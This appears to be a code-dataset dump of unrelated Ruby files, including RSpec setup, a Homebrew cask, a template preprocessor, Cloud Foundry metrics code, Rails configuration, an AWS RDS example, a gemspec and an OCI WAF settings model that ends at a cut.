hexsha
stringlengths
40
40
size
int64
2
1.01M
content
stringlengths
2
1.01M
avg_line_length
float64
1.5
100
max_line_length
int64
2
1k
alphanum_fraction
float64
0.25
1
91f70d35c373973e3c63cbc292acd653ab3923f7
4,940
# This file was generated by the `rails generate rspec:install` command. Conventionally, all # specs live under a `spec` directory, which RSpec adds to the `$LOAD_PATH`. # The generated `.rspec` file contains `--require spec_helper` which will cause # this file to always be loaded, without a need to explicitly require it in any # files. # # Given that it is always loaded, you are encouraged to keep this file as # light-weight as possible. Requiring heavyweight dependencies from this file # will add to the boot time of your test suite on EVERY test run, even for an # individual file that may not need all of that loaded. Instead, consider making # a separate helper file that requires the additional dependencies and performs # the additional setup, and require it from the spec files that actually need # it. # # The `.rspec` file also contains a few flags that are not defaults but that # users commonly want. # # See http://rubydoc.info/gems/rspec-core/RSpec/Core/Configuration # Add Coveralls to track spec coverage require 'coveralls' Coveralls.wear! RSpec.configure do |config| # rspec-expectations config goes here. You can use an alternate # assertion/expectation library such as wrong or the stdlib/minitest # assertions if you prefer. config.expect_with :rspec do |expectations| # This option will default to `true` in RSpec 4. It makes the `description` # and `failure_message` of custom matchers include text for helper methods # defined using `chain`, e.g.: # be_bigger_than(2).and_smaller_than(4).description # # => "be bigger than 2 and smaller than 4" # ...rather than: # # => "be bigger than 2" expectations.include_chain_clauses_in_custom_matcher_descriptions = true end # rspec-mocks config goes here. You can use an alternate test double # library (such as bogus or mocha) by changing the `mock_with` option here. config.mock_with :rspec do |mocks| # Prevents you from mocking or stubbing a method that does not exist on # a real object. This is generally recommended, and will default to # `true` in RSpec 4. mocks.verify_partial_doubles = true end # This option will default to `:apply_to_host_groups` in RSpec 4 (and will # have no way to turn it off -- the option exists only for backwards # compatibility in RSpec 3). It causes shared context metadata to be # inherited by the metadata hash of host groups and examples, rather than # triggering implicit auto-inclusion in groups with matching metadata. config.shared_context_metadata_behavior = :apply_to_host_groups # The settings below are suggested to provide a good initial experience # with RSpec, but feel free to customize to your heart's content. =begin # This allows you to limit a spec run to individual examples or groups # you care about by tagging them with `:focus` metadata. When nothing # is tagged with `:focus`, all examples get run. RSpec also provides # aliases for `it`, `describe`, and `context` that include `:focus` # metadata: `fit`, `fdescribe` and `fcontext`, respectively. config.filter_run_when_matching :focus # Allows RSpec to persist some state between runs in order to support # the `--only-failures` and `--next-failure` CLI options. We recommend # you configure your source control system to ignore this file. config.example_status_persistence_file_path = "spec/examples.txt" # Limits the available syntax to the non-monkey patched syntax that is # recommended. For more details, see: # - http://rspec.info/blog/2012/06/rspecs-new-expectation-syntax/ # - http://www.teaisaweso.me/blog/2013/05/27/rspecs-new-message-expectation-syntax/ # - http://rspec.info/blog/2014/05/notable-changes-in-rspec-3/#zero-monkey-patching-mode config.disable_monkey_patching! # Many RSpec users commonly either run the entire suite or an individual # file, and it's useful to allow more verbose output when running an # individual spec file. if config.files_to_run.one? # Use the documentation formatter for detailed output, # unless a formatter has already been configured # (e.g. via a command-line flag). config.default_formatter = 'doc' end # Print the 10 slowest examples and example groups at the # end of the spec run, to help surface which specs are running # particularly slow. config.profile_examples = 10 # Run specs in random order to surface order dependencies. If you find an # order dependency and want to debug it, you can fix the order by providing # the seed, which is printed after each run. # --seed 1234 config.order = :random # Seed global randomization in this process using the `--seed` CLI option. # Setting this allows you to use `--seed` to deterministically reproduce # test failures related to randomization by passing the same `--seed` value # as the one that triggered the failure. Kernel.srand config.seed =end end
47.047619
92
0.74413
e9855bb4019a218731ad12901ed7e2ade14d8f8a
424
cask "interarchy" do version "10.0.7" sha256 "c1f8fbb9add4d134123d72b80d1d04540d38157f7c51478cb9efb0e88138c090" url "https://downloads.kangacode.com/Interarchy/Interarchy_#{version}.zip" name "Interarchy" desc "File fransfer tool" homepage "https://www.kangacode.com/interarchy/" livecheck do url :homepage regex(%r{href=.*?/Interarchy[._-]v?(\d+(?:\.\d+)+)\.zip}i) end app "Interarchy.app" end
24.941176
76
0.709906
ede8bed21c08e0a7f1477b737c62732f3e7a0970
718
describe Ecomm::Checkout::BuildOrder do describe '#call' do let(:session) do order = Ecomm::OrderForm.from_model(build(:order)) order.billing = Ecomm::AddressForm.from_model(build(:address)) { order: order } end let(:order) { described_class.call(session) } it 'returns Ecomm::OrderForm instance' do expect(order).to be_instance_of(Ecomm::OrderForm) end it 'populates order fields' do expect(order.billing).to be_truthy expect(order.billing.country).to eq('Italy') end it 'ensures returned order to have been validated' do expect_any_instance_of(Ecomm::OrderForm).to receive(:valid?) described_class.call(session) end end end
27.615385
68
0.682451
21ee870dc08433162e6515be79d03e95c9366b9a
2,179
class Preprocessor def initialize(input, output, filename) @input = input @output = output @filename = filename @linenum = 1 @lines = false end def getline line = @input.gets @linenum += 1 if line return line end def preprocess puts '// THIS FILE WAS GENERATED BY vm/codegen/rubypp.rb DO NOT EDIT' puts "// filename = #{@filename}" puts success = false begin loop do line = getline break if line.nil? case line when /(.*[^\\]|^)\#\{(.*?)\}(.*)/ puts "#{$1}#{evaluate($2, @linenum)}#{$3}" when /^\#ruby\s+<<(.*)/ marker = $1 str = '' evalstart = @linenum loop do line = getline if line.nil? then raise "End of input without #{marker}" end break if line.chomp == marker str << line end result = evaluate(str, evalstart) puts result if not result.nil? when /^\#ruby\s+(.*)/ str = line = $1 while line[-1] == ?\\ str.chop! line = getline break if line.nil? line.chomp! str << line end result = evaluate(str, @linenum) puts result if not result.nil? else puts line end end success = true ensure if not success then $stderr.puts "Error on line #{@linenum}:" end end end def evaluate(str, linenum) result = eval(str, TOPLEVEL_BINDING, @filename, linenum) success = true return result end def puts(line = '') @output.puts(line) end end def puts(line) $preprocessor.puts(line) end if __FILE__ == $0 then input_file = ARGV[0] output_file = ARGV[1] input = input_file ? File.open(input_file) : $stdin output = output_file ? File.open(output_file, 'w') : $stdout success = false begin $preprocessor = Preprocessor.new(input, output, input_file || "(stdin)") $preprocessor.preprocess() success = true ensure File.unlink(output_file) rescue Errno::ENOENT unless success end end
22.463918
76
0.536944
014abec9f18a05e308c8f97261730e5a8589e60f
3,560
require 'cloud_controller/metrics/varz_updater' require 'cloud_controller/metrics/statsd_updater' module VCAP::CloudController::Metrics class PeriodicUpdater def initialize(start_time, log_counter, updaters=[VarzUpdater.new, StatsdUpdater.new]) @start_time = start_time @updaters = updaters @log_counter = log_counter end def setup_updates update! EM.add_periodic_timer(600) { record_user_count } EM.add_periodic_timer(30) { update_job_queue_length } EM.add_periodic_timer(30) { update_thread_info } EM.add_periodic_timer(30) { update_failed_job_count } EM.add_periodic_timer(30) { update_vitals } EM.add_periodic_timer(30) { update_log_counts } end def update! record_user_count update_job_queue_length update_thread_info update_failed_job_count update_vitals update_log_counts end def update_log_counts counts = @log_counter.counts hash = {} Steno::Logger::LEVELS.keys.each do |level_name| hash[level_name] = counts.fetch(level_name.to_s, 0) end @updaters.each { |u| u.update_log_counts(hash) } end def record_user_count user_count = VCAP::CloudController::User.count @updaters.each { |u| u.record_user_count(user_count) } end def update_job_queue_length jobs_by_queue_with_count = Delayed::Job.where(attempts: 0).group_and_count(:queue) total = 0 pending_job_count_by_queue = jobs_by_queue_with_count.each_with_object({}) do |row, hash| total += row[:count] hash[row[:queue].to_sym] = row[:count] end @updaters.each { |u| u.update_job_queue_length(pending_job_count_by_queue, total) } end def update_thread_info local_thread_info = thread_info @updaters.each { |u| u.update_thread_info(local_thread_info) } end def update_failed_job_count jobs_by_queue_with_count = Delayed::Job.where('failed_at IS NOT NULL').group_and_count(:queue) total = 0 failed_jobs_by_queue = jobs_by_queue_with_count.each_with_object({}) do |row, hash| total += row[:count] hash[row[:queue].to_sym] = row[:count] end @updaters.each { |u| u.update_failed_job_count(failed_jobs_by_queue, total) } end def update_vitals rss_bytes, pcpu = VCAP::Stats.process_memory_bytes_and_cpu vitals = { uptime: Time.now.utc.to_i - @start_time.to_i, cpu: pcpu.to_f, mem_bytes: rss_bytes.to_i, cpu_load_avg: VCAP::Stats.cpu_load_average, mem_used_bytes: VCAP::Stats.memory_used_bytes, mem_free_bytes: VCAP::Stats.memory_free_bytes, num_cores: VCAP.num_cores, } @updaters.each { |u| u.update_vitals(vitals) } end def thread_info threadqueue = EM.instance_variable_get(:@threadqueue) || [] resultqueue = EM.instance_variable_get(:@resultqueue) || [] { thread_count: Thread.list.size, event_machine: { connection_count: EventMachine.connection_count, threadqueue: { size: threadqueue.size, num_waiting: threadqueue.is_a?(Array) ? 0 : threadqueue.num_waiting, }, resultqueue: { size: resultqueue.size, num_waiting: resultqueue.is_a?(Array) ? 0 : resultqueue.num_waiting, }, }, } end end end
31.22807
100
0.641011
283dcd18103ae857e639683405ee9cfc115bf09c
47
module ImmobilienScout VERSION = "0.1.4" end
11.75
22
0.723404
622c2c31a3e58c56ab08922ca15b34138e1fde36
1,775
# This file is auto-generated from the current state of the database. Instead # of editing this file, please use the migrations feature of Active Record to # incrementally modify your database, and then regenerate this schema definition. # # This file is the source Rails uses to define your schema when running `bin/rails # db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to # be faster and is potentially less error prone than running all of your # migrations from scratch. Old migrations may fail to apply correctly if those # migrations use external dependencies or application code. # # It's strongly recommended that you check this file into your version control system. ActiveRecord::Schema.define(version: 2022_05_18_014208) do # These are extensions that must be enabled in order to support this database enable_extension "plpgsql" create_table "rounds", force: :cascade do |t| t.string "title" t.integer "pick_one" t.integer "pick_two" t.integer "pick_three" t.integer "pick_four" t.integer "pick_five" t.integer "pick_six" t.datetime "created_at", precision: 6, null: false t.datetime "updated_at", precision: 6, null: false end create_table "user_rounds", force: :cascade do |t| t.bigint "round_id", null: false t.bigint "user_id", null: false t.datetime "created_at", precision: 6, null: false t.datetime "updated_at", precision: 6, null: false t.index ["round_id"], name: "index_user_rounds_on_round_id" t.index ["user_id"], name: "index_user_rounds_on_user_id" end create_table "users", force: :cascade do |t| t.string "email" t.string "username" end add_foreign_key "user_rounds", "rounds" add_foreign_key "user_rounds", "users" end
37.765957
86
0.735775
bbe8b66bb41cb5c6253146284fdb83894b33eb82
3,790
Rails.application.configure do # Settings specified here will take precedence over those in config/application.rb. # Code is not reloaded between requests. config.cache_classes = true # Eager load code on boot. This eager loads most of Rails and # your application in memory, allowing both threaded web servers # and those relying on copy on write to perform better. # Rake tasks automatically ignore this option for performance. config.eager_load = true # Full error reports are disabled and caching is turned on. config.consider_all_requests_local = false config.action_controller.perform_caching = true # Attempt to read encrypted secrets from `config/secrets.yml.enc`. # Requires an encryption key in `ENV["RAILS_MASTER_KEY"]` or # `config/secrets.yml.key`. config.read_encrypted_secrets = true # Disable serving static files from the `/public` folder by default since # Apache or NGINX already handles this. config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present? # Compress JavaScripts and CSS. config.assets.js_compressor = :uglifier # config.assets.css_compressor = :sass # Do not fallback to assets pipeline if a precompiled asset is missed. config.assets.compile = false # `config.assets.precompile` and `config.assets.version` have moved to config/initializers/assets.rb # Enable serving of images, stylesheets, and JavaScripts from an asset server. # config.action_controller.asset_host = 'http://assets.example.com' # Specifies the header that your server uses for sending files. # config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX # Mount Action Cable outside main process or domain # config.action_cable.mount_path = nil # config.action_cable.url = 'wss://example.com/cable' # config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ] # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. # config.force_ssl = true # Use the lowest log level to ensure availability of diagnostic information # when problems arise. config.log_level = :debug # Prepend all log lines with the following tags. config.log_tags = [ :request_id ] # Use a different cache store in production. # config.cache_store = :mem_cache_store # Use a real queuing backend for Active Job (and separate queues per environment) # config.active_job.queue_adapter = :resque # config.active_job.queue_name_prefix = "suggestotron_#{Rails.env}" config.action_mailer.perform_caching = false # Ignore bad email addresses and do not raise email delivery errors. # Set this to true and configure the email server for immediate delivery to raise delivery errors. # config.action_mailer.raise_delivery_errors = false # Enable locale fallbacks for I18n (makes lookups for any locale fall back to # the I18n.default_locale when a translation cannot be found). config.i18n.fallbacks = true # Send deprecation notices to registered listeners. config.active_support.deprecation = :notify # Use default logging formatter so that PID and timestamp are not suppressed. config.log_formatter = ::Logger::Formatter.new # Use a different logger for distributed setups. # require 'syslog/logger' # config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name') if ENV["RAILS_LOG_TO_STDOUT"].present? logger = ActiveSupport::Logger.new(STDOUT) logger.formatter = config.log_formatter config.logger = ActiveSupport::TaggedLogging.new(logger) end # Do not dump schema after migrations. config.active_record.dump_schema_after_migration = false end
41.195652
102
0.757256
79db955064474f0363c6b2de0ab2a825b85243c3
1,072
# Copyright 2010-2018 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # This file is licensed under the Apache License, Version 2.0 (the "License"). # You may not use this file except in compliance with the License. A copy of the # License is located at # # http://aws.amazon.com/apache2.0/ # # This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS # OF ANY KIND, either express or implied. See the License for the specific # language governing permissions and limitations under the License. require 'aws-sdk-rds' # v2: require 'aws-sdk' rds = Aws::RDS::Resource.new(region: 'us-west-2') rds.db_instances.each do |i| # Show any security group IDs and descriptions puts 'Security Groups:' i.db_security_groups.each do |sg| puts sg.db_security_group_name puts ' ' + sg.db_security_group_description puts end # Show any VPC security group IDs and their status puts 'VPC Security Groups:' i.vpc_security_groups.each do |vsg| puts vsg.vpc_security_group_id puts ' ' + vsg.status puts end end
29.777778
80
0.728545
8745b6005a96b756f95ce7e13f8e63883928c531
1,535
Gem::Specification.new do |s| s.name = 'hive-runner' s.version = '2.1.29' s.date = Time.now.strftime("%Y-%m-%d") s.summary = 'Hive Runner' s.description = 'Core component of the Hive CI runner' s.authors = ['Joe Haig'] s.email = '[email protected]' s.files = Dir['README.md', 'lib/**/*.rb', 'scripts/hive-script-helper.sh', 'bin/init.d.hived'] s.executables = ['hived', 'start_hive', 'hive_setup'] s.homepage = 'https://github.com/bbc/hive-runner' s.license = 'MIT' s.add_runtime_dependency 'chamber', '~> 2.7' # Awaiting a fix for this gem # See lib/macaddr.rb #s.add_runtime_dependency 'macaddr', '~> 1.7' s.add_runtime_dependency 'activerecord', '~> 4.2' s.add_runtime_dependency 'mono_logger', '~> 1.1' s.add_runtime_dependency 'daemons', '~> 1.2' s.add_runtime_dependency 'terminal-table', '~> 1.7.1' s.add_runtime_dependency 'res', '~> 1.2.17' s.add_runtime_dependency 'hive-messages', '~> 1.0', '>=1.0.6' s.add_runtime_dependency 'mind_meld', '~> 0.1.12' s.add_runtime_dependency 'code_cache', '~> 0.2' s.add_runtime_dependency 'sys-uname', '~> 1.0' s.add_runtime_dependency 'sys-cpu', '~> 0.7' s.add_runtime_dependency 'airbrake-ruby', '~> 1.2.2' s.add_development_dependency 'codeclimate-test-reporter', '~> 0.6.0' s.add_development_dependency 'simplecov', '~> 0.12' s.add_development_dependency 'rspec', '~> 3.3' s.add_development_dependency 'rubocop', '~> 0.34' s.add_development_dependency 'webmock', '~> 1.21' end
45.147059
102
0.652769
bb1ff15fb8ecbc376331304d1501f8b490bc2cf3
21,721
# Copyright (c) 2016, 2020, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. require 'date' require 'logger' # rubocop:disable Lint/UnneededCopDisableDirective, Metrics/LineLength module OCI # The settings used for protection rules. class Waas::Models::ProtectionSettings BLOCK_ACTION_ENUM = [ BLOCK_ACTION_SHOW_ERROR_PAGE = 'SHOW_ERROR_PAGE'.freeze, BLOCK_ACTION_SET_RESPONSE_CODE = 'SET_RESPONSE_CODE'.freeze, BLOCK_ACTION_UNKNOWN_ENUM_VALUE = 'UNKNOWN_ENUM_VALUE'.freeze ].freeze ALLOWED_HTTP_METHODS_ENUM = [ ALLOWED_HTTP_METHODS_OPTIONS = 'OPTIONS'.freeze, ALLOWED_HTTP_METHODS_GET = 'GET'.freeze, ALLOWED_HTTP_METHODS_HEAD = 'HEAD'.freeze, ALLOWED_HTTP_METHODS_POST = 'POST'.freeze, ALLOWED_HTTP_METHODS_PUT = 'PUT'.freeze, ALLOWED_HTTP_METHODS_DELETE = 'DELETE'.freeze, ALLOWED_HTTP_METHODS_TRACE = 'TRACE'.freeze, ALLOWED_HTTP_METHODS_CONNECT = 'CONNECT'.freeze, ALLOWED_HTTP_METHODS_PATCH = 'PATCH'.freeze, ALLOWED_HTTP_METHODS_PROPFIND = 'PROPFIND'.freeze, ALLOWED_HTTP_METHODS_UNKNOWN_ENUM_VALUE = 'UNKNOWN_ENUM_VALUE'.freeze ].freeze # If `action` is set to `BLOCK`, this specifies how the traffic is blocked when detected as malicious by a protection rule. If unspecified, defaults to `SET_RESPONSE_CODE`. # @return [String] attr_reader :block_action # The response code returned when `action` is set to `BLOCK`, `blockAction` is set to `SET_RESPONSE_CODE`, and the traffic is detected as malicious by a protection rule. If unspecified, defaults to `403`. The list of available response codes: `400`, `401`, `403`, `405`, `409`, `411`, `412`, `413`, `414`, `415`, `416`, `500`, `501`, `502`, `503`, `504`, `507`. # @return [Integer] attr_accessor :block_response_code # The message to show on the error page when `action` is set to `BLOCK`, `blockAction` is set to `SHOW_ERROR_PAGE`, and the traffic is detected as malicious by a protection rule. If unspecified, defaults to 'Access to the website is blocked.' # @return [String] attr_accessor :block_error_page_message # The error code to show on the error page when `action` is set to `BLOCK`, `blockAction` is set to `SHOW_ERROR_PAGE`, and the traffic is detected as malicious by a protection rule. If unspecified, defaults to `403`. # @return [String] attr_accessor :block_error_page_code # The description text to show on the error page when `action` is set to `BLOCK`, `blockAction` is set to `SHOW_ERROR_PAGE`, and the traffic is detected as malicious by a protection rule. If unspecified, defaults to `Access blocked by website owner. Please contact support.` # @return [String] attr_accessor :block_error_page_description # The maximum number of arguments allowed to be passed to your application before an action is taken. Arguements are query parameters or body parameters in a PUT or POST request. If unspecified, defaults to `255`. This setting only applies if a corresponding protection rule is enabled, such as the \"Number of Arguments Limits\" rule (key: 960335). # # Example: If `maxArgumentCount` to `2` for the Max Number of Arguments protection rule (key: 960335), the following requests would be blocked: # `GET /myapp/path?query=one&query=two&query=three` # `POST /myapp/path` with Body `{\"argument1\":\"one\",\"argument2\":\"two\",\"argument3\":\"three\"}` # @return [Integer] attr_accessor :max_argument_count # The maximum length allowed for each argument name, in characters. Arguements are query parameters or body parameters in a PUT or POST request. If unspecified, defaults to `400`. This setting only applies if a corresponding protection rule is enabled, such as the \"Values Limits\" rule (key: 960208). # @return [Integer] attr_accessor :max_name_length_per_argument # The maximum length allowed for the sum of the argument name and value, in characters. Arguements are query parameters or body parameters in a PUT or POST request. If unspecified, defaults to `64000`. This setting only applies if a corresponding protection rule is enabled, such as the \"Total Arguments Limits\" rule (key: 960341). # @return [Integer] attr_accessor :max_total_name_length_of_arguments # The length of time to analyze traffic traffic, in days. After the analysis period, `WafRecommendations` will be populated. If unspecified, defaults to `10`. # # Use `GET /waasPolicies/{waasPolicyId}/wafRecommendations` to view WAF recommendations. # @return [Integer] attr_accessor :recommendations_period_in_days # Inspects the response body of origin responses. Can be used to detect leakage of sensitive data. If unspecified, defaults to `false`. # # **Note:** Only origin responses with a Content-Type matching a value in `mediaTypes` will be inspected. # @return [BOOLEAN] attr_accessor :is_response_inspected # The maximum response size to be fully inspected, in binary kilobytes (KiB). Anything over this limit will be partially inspected. If unspecified, defaults to `1024`. # @return [Integer] attr_accessor :max_response_size_in_ki_b # The list of allowed HTTP methods. If unspecified, default to `[OPTIONS, GET, HEAD, POST]`. This setting only applies if a corresponding protection rule is enabled, such as the \"Restrict HTTP Request Methods\" rule (key: 911100). # @return [Array<String>] attr_reader :allowed_http_methods # The list of media types to allow for inspection, if `isResponseInspected` is enabled. Only responses with MIME types in this list will be inspected. If unspecified, defaults to `[\"text/html\", \"text/plain\", \"text/xml\"]`. # # Supported MIME types include: # # - text/html # - text/plain # - text/asp # - text/css # - text/x-script # - application/json # - text/webviewhtml # - text/x-java-source # - application/x-javascript # - application/javascript # - application/ecmascript # - text/javascript # - text/ecmascript # - text/x-script.perl # - text/x-script.phyton # - application/plain # - application/xml # - text/xml # @return [Array<String>] attr_accessor :media_types # Attribute mapping from ruby-style variable name to JSON key. def self.attribute_map { # rubocop:disable Style/SymbolLiteral 'block_action': :'blockAction', 'block_response_code': :'blockResponseCode', 'block_error_page_message': :'blockErrorPageMessage', 'block_error_page_code': :'blockErrorPageCode', 'block_error_page_description': :'blockErrorPageDescription', 'max_argument_count': :'maxArgumentCount', 'max_name_length_per_argument': :'maxNameLengthPerArgument', 'max_total_name_length_of_arguments': :'maxTotalNameLengthOfArguments', 'recommendations_period_in_days': :'recommendationsPeriodInDays', 'is_response_inspected': :'isResponseInspected', 'max_response_size_in_ki_b': :'maxResponseSizeInKiB', 'allowed_http_methods': :'allowedHttpMethods', 'media_types': :'mediaTypes' # rubocop:enable Style/SymbolLiteral } end # Attribute type mapping. def self.swagger_types { # rubocop:disable Style/SymbolLiteral 'block_action': :'String', 'block_response_code': :'Integer', 'block_error_page_message': :'String', 'block_error_page_code': :'String', 'block_error_page_description': :'String', 'max_argument_count': :'Integer', 'max_name_length_per_argument': :'Integer', 'max_total_name_length_of_arguments': :'Integer', 'recommendations_period_in_days': :'Integer', 'is_response_inspected': :'BOOLEAN', 'max_response_size_in_ki_b': :'Integer', 'allowed_http_methods': :'Array<String>', 'media_types': :'Array<String>' # rubocop:enable Style/SymbolLiteral } end # rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity # rubocop:disable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral # Initializes the object # @param [Hash] attributes Model attributes in the form of hash # @option attributes [String] :block_action The value to assign to the {#block_action} property # @option attributes [Integer] :block_response_code The value to assign to the {#block_response_code} property # @option attributes [String] :block_error_page_message The value to assign to the {#block_error_page_message} property # @option attributes [String] :block_error_page_code The value to assign to the {#block_error_page_code} property # @option attributes [String] :block_error_page_description The value to assign to the {#block_error_page_description} property # @option attributes [Integer] :max_argument_count The value to assign to the {#max_argument_count} property # @option attributes [Integer] :max_name_length_per_argument The value to assign to the {#max_name_length_per_argument} property # @option attributes [Integer] :max_total_name_length_of_arguments The value to assign to the {#max_total_name_length_of_arguments} property # @option attributes [Integer] :recommendations_period_in_days The value to assign to the {#recommendations_period_in_days} property # @option attributes [BOOLEAN] :is_response_inspected The value to assign to the {#is_response_inspected} property # @option attributes [Integer] :max_response_size_in_ki_b The value to assign to the {#max_response_size_in_ki_b} property # @option attributes [Array<String>] :allowed_http_methods The value to assign to the {#allowed_http_methods} property # @option attributes [Array<String>] :media_types The value to assign to the {#media_types} property def initialize(attributes = {}) return unless attributes.is_a?(Hash) # convert string to symbol for hash key attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v } self.block_action = attributes[:'blockAction'] if attributes[:'blockAction'] raise 'You cannot provide both :blockAction and :block_action' if attributes.key?(:'blockAction') && attributes.key?(:'block_action') self.block_action = attributes[:'block_action'] if attributes[:'block_action'] self.block_response_code = attributes[:'blockResponseCode'] if attributes[:'blockResponseCode'] raise 'You cannot provide both :blockResponseCode and :block_response_code' if attributes.key?(:'blockResponseCode') && attributes.key?(:'block_response_code') self.block_response_code = attributes[:'block_response_code'] if attributes[:'block_response_code'] self.block_error_page_message = attributes[:'blockErrorPageMessage'] if attributes[:'blockErrorPageMessage'] raise 'You cannot provide both :blockErrorPageMessage and :block_error_page_message' if attributes.key?(:'blockErrorPageMessage') && attributes.key?(:'block_error_page_message') self.block_error_page_message = attributes[:'block_error_page_message'] if attributes[:'block_error_page_message'] self.block_error_page_code = attributes[:'blockErrorPageCode'] if attributes[:'blockErrorPageCode'] raise 'You cannot provide both :blockErrorPageCode and :block_error_page_code' if attributes.key?(:'blockErrorPageCode') && attributes.key?(:'block_error_page_code') self.block_error_page_code = attributes[:'block_error_page_code'] if attributes[:'block_error_page_code'] self.block_error_page_description = attributes[:'blockErrorPageDescription'] if attributes[:'blockErrorPageDescription'] raise 'You cannot provide both :blockErrorPageDescription and :block_error_page_description' if attributes.key?(:'blockErrorPageDescription') && attributes.key?(:'block_error_page_description') self.block_error_page_description = attributes[:'block_error_page_description'] if attributes[:'block_error_page_description'] self.max_argument_count = attributes[:'maxArgumentCount'] if attributes[:'maxArgumentCount'] raise 'You cannot provide both :maxArgumentCount and :max_argument_count' if attributes.key?(:'maxArgumentCount') && attributes.key?(:'max_argument_count') self.max_argument_count = attributes[:'max_argument_count'] if attributes[:'max_argument_count'] self.max_name_length_per_argument = attributes[:'maxNameLengthPerArgument'] if attributes[:'maxNameLengthPerArgument'] raise 'You cannot provide both :maxNameLengthPerArgument and :max_name_length_per_argument' if attributes.key?(:'maxNameLengthPerArgument') && attributes.key?(:'max_name_length_per_argument') self.max_name_length_per_argument = attributes[:'max_name_length_per_argument'] if attributes[:'max_name_length_per_argument'] self.max_total_name_length_of_arguments = attributes[:'maxTotalNameLengthOfArguments'] if attributes[:'maxTotalNameLengthOfArguments'] raise 'You cannot provide both :maxTotalNameLengthOfArguments and :max_total_name_length_of_arguments' if attributes.key?(:'maxTotalNameLengthOfArguments') && attributes.key?(:'max_total_name_length_of_arguments') self.max_total_name_length_of_arguments = attributes[:'max_total_name_length_of_arguments'] if attributes[:'max_total_name_length_of_arguments'] self.recommendations_period_in_days = attributes[:'recommendationsPeriodInDays'] if attributes[:'recommendationsPeriodInDays'] raise 'You cannot provide both :recommendationsPeriodInDays and :recommendations_period_in_days' if attributes.key?(:'recommendationsPeriodInDays') && attributes.key?(:'recommendations_period_in_days') self.recommendations_period_in_days = attributes[:'recommendations_period_in_days'] if attributes[:'recommendations_period_in_days'] self.is_response_inspected = attributes[:'isResponseInspected'] unless attributes[:'isResponseInspected'].nil? raise 'You cannot provide both :isResponseInspected and :is_response_inspected' if attributes.key?(:'isResponseInspected') && attributes.key?(:'is_response_inspected') self.is_response_inspected = attributes[:'is_response_inspected'] unless attributes[:'is_response_inspected'].nil? self.max_response_size_in_ki_b = attributes[:'maxResponseSizeInKiB'] if attributes[:'maxResponseSizeInKiB'] raise 'You cannot provide both :maxResponseSizeInKiB and :max_response_size_in_ki_b' if attributes.key?(:'maxResponseSizeInKiB') && attributes.key?(:'max_response_size_in_ki_b') self.max_response_size_in_ki_b = attributes[:'max_response_size_in_ki_b'] if attributes[:'max_response_size_in_ki_b'] self.allowed_http_methods = attributes[:'allowedHttpMethods'] if attributes[:'allowedHttpMethods'] raise 'You cannot provide both :allowedHttpMethods and :allowed_http_methods' if attributes.key?(:'allowedHttpMethods') && attributes.key?(:'allowed_http_methods') self.allowed_http_methods = attributes[:'allowed_http_methods'] if attributes[:'allowed_http_methods'] self.media_types = attributes[:'mediaTypes'] if attributes[:'mediaTypes'] raise 'You cannot provide both :mediaTypes and :media_types' if attributes.key?(:'mediaTypes') && attributes.key?(:'media_types') self.media_types = attributes[:'media_types'] if attributes[:'media_types'] end # rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity # rubocop:enable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral # Custom attribute writer method checking allowed values (enum). # @param [Object] block_action Object to be assigned def block_action=(block_action) # rubocop:disable Style/ConditionalAssignment if block_action && !BLOCK_ACTION_ENUM.include?(block_action) OCI.logger.debug("Unknown value for 'block_action' [" + block_action + "]. Mapping to 'BLOCK_ACTION_UNKNOWN_ENUM_VALUE'") if OCI.logger @block_action = BLOCK_ACTION_UNKNOWN_ENUM_VALUE else @block_action = block_action end # rubocop:enable Style/ConditionalAssignment end # Custom attribute writer method checking allowed values (enum). # @param [Object] allowed_http_methods Object to be assigned def allowed_http_methods=(allowed_http_methods) # rubocop:disable Style/ConditionalAssignment if allowed_http_methods.nil? @allowed_http_methods = nil else @allowed_http_methods = allowed_http_methods.collect do |item| if ALLOWED_HTTP_METHODS_ENUM.include?(item) item else OCI.logger.debug("Unknown value for 'allowed_http_methods' [#{item}]. Mapping to 'ALLOWED_HTTP_METHODS_UNKNOWN_ENUM_VALUE'") if OCI.logger ALLOWED_HTTP_METHODS_UNKNOWN_ENUM_VALUE end end end # rubocop:enable Style/ConditionalAssignment end # rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines # Checks equality by comparing each attribute. # @param [Object] other the other object to be compared def ==(other) return true if equal?(other) self.class == other.class && block_action == other.block_action && block_response_code == other.block_response_code && block_error_page_message == other.block_error_page_message && block_error_page_code == other.block_error_page_code && block_error_page_description == other.block_error_page_description && max_argument_count == other.max_argument_count && max_name_length_per_argument == other.max_name_length_per_argument && max_total_name_length_of_arguments == other.max_total_name_length_of_arguments && recommendations_period_in_days == other.recommendations_period_in_days && is_response_inspected == other.is_response_inspected && max_response_size_in_ki_b == other.max_response_size_in_ki_b && allowed_http_methods == other.allowed_http_methods && media_types == other.media_types end # rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines # @see the `==` method # @param [Object] other the other object to be compared def eql?(other) self == other end # rubocop:disable Metrics/AbcSize, Layout/EmptyLines # Calculates hash code according to all attributes. # @return [Fixnum] Hash code def hash [block_action, block_response_code, block_error_page_message, block_error_page_code, block_error_page_description, max_argument_count, max_name_length_per_argument, max_total_name_length_of_arguments, recommendations_period_in_days, is_response_inspected, max_response_size_in_ki_b, allowed_http_methods, media_types].hash end # rubocop:enable Metrics/AbcSize, Layout/EmptyLines # rubocop:disable Metrics/AbcSize, 